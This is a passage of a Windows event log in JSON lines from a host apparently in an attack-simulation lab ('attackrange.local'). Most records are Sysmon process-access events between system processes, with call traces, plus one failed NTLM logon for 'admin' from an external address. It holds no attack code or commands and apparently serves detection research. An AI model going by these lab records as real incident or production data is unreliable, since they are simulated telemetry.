11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1701,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1702,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001035090300}\r\nTargetProcessId: 4016\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001035090300}","TargetProcessId":"4016","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221479,"ProcessID":860,"ThreadID":2712,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58889\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58889","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1703,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.812\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nSourceProcessId: 3940\r\nSourceThreadId: 3968\r\nSourceImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1040\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\System32\\combase.dll+4d01b|C:\\Windows\\System32\\combase.dll+9e002|C:\\Windows\\System32\\combase.dll+9e92e|C:\\Windows\\System32\\combase.dll+9e6ef|C:\\Windows\\System32\\combase.dll+3fff8|C:\\Windows\\System32\\combase.dll+3fc10|C:\\Windows\\System32\\combase.dll+4fa47|C:\\Windows\\System32\\combase.dll+c1ef4|C:\\Windows\\System32\\combase.dll+4ea07|C:\\Windows\\System32\\combase.dll+4a6d0|C:\\Windows\\System32\\combase.dll+3f5a|C:\\Windows\\System32\\RPCRT4.dll+dbd2a|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3f3|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.812","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","SourceProcessId":"3940","SourceThreadId":"3968","SourceImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1040","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\System32\\combase.dll+4d01b|C:\\Windows\\System32\\combase.dll+9e002|C:\\Windows\\System32\\combase.dll+9e92e|C:\\Windows\\System32\\combase.dll+9e6ef|C:\\Windows\\System32\\combase.dll+3fff8|C:\\Windows\\System32\\combase.dll+3fc10|C:\\Windows\\System32\\combase.dll+4fa47|C:\\Windows\\System32\\combase.dll+c1ef4|C:\\Windows\\System32\\combase.dll+4ea07|C:\\Windows\\System32\\combase.dll+4a6d0|C:\\Windows\\System32\\combase.dll+3f5a|C:\\Windows\\System32\\RPCRT4.dll+dbd2a|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3f3|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1704,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.859\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nSourceProcessId: 2564\r\nSourceThreadId: 3132\r\nSourceImage: C:\\Windows\\system32\\DFSRs.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\DFSRs.exe+d839d|C:\\Windows\\system32\\DFSRs.exe+c0dd|C:\\Windows\\system32\\DFSRs.exe+50e1|C:\\Windows\\system32\\DFSRs.exe+72d2|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.859","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","SourceProcessId":"2564","SourceThreadId":"3132","SourceImage":"C:\\Windows\\system32\\DFSRs.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\DFSRs.exe+d839d|C:\\Windows\\system32\\DFSRs.exe+c0dd|C:\\Windows\\system32\\DFSRs.exe+50e1|C:\\Windows\\system32\\DFSRs.exe+72d2|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1705,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+5a1b8|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+35a49|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2807f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29591|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292c2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+5a1b8|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+35a49|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2807f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29591|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292c2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1706,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1707,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.875\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1708,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 